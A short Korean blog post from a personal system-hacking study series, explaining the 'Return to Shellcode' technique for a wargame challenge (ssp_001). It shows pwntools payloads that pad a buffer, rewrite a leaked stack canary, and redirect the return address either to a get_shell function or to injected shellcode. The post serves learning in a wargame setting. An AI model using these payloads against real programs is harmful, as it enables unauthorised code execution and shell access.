[시스템 해킹] 💥 Exploit Tech : Return to Shellcode

zzoni·2022년 8월 5일
0

시스템해킹

목록 보기
10/15

앞의 게시물에서 카나리 우회를 통해 쉘을 획득하는 문제(wargame - ssp_001)를 다뤘다.

이 문제는 코드에 get_shell이라는 함수가 정의되어있기 때문에
해당 함수의 주소를 덮어씌움으로써 쉘을 획득했는데

이러한 함수가 없는 경우엔? 직접 쉘코드를 가져오는 코드를 작성하여야 한다!

payload를 전송하는 부분만 달리해주면 된다.

  • 앞의 문제
elf = ELF('./ssp_001')  
get_shell = elf.symbols['get_shell']
payload = b"A" * 0x40 + p32(canary) + b"A" * 0x8
payload += p32(get_shell) # ret
  • get_shell과 같은 함수가 없는 경우엔?
# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b"A") + p64(canary) + b"A"*0x8
payload += p64(buf) # ret

이런식으로 buf를 sh로 덮어씌운 후, ret 주소를 buf의 주소로 설정해주면 끝!

profile
모든 게시물은 다크모드에서 작성되었습니다!

0개의 댓글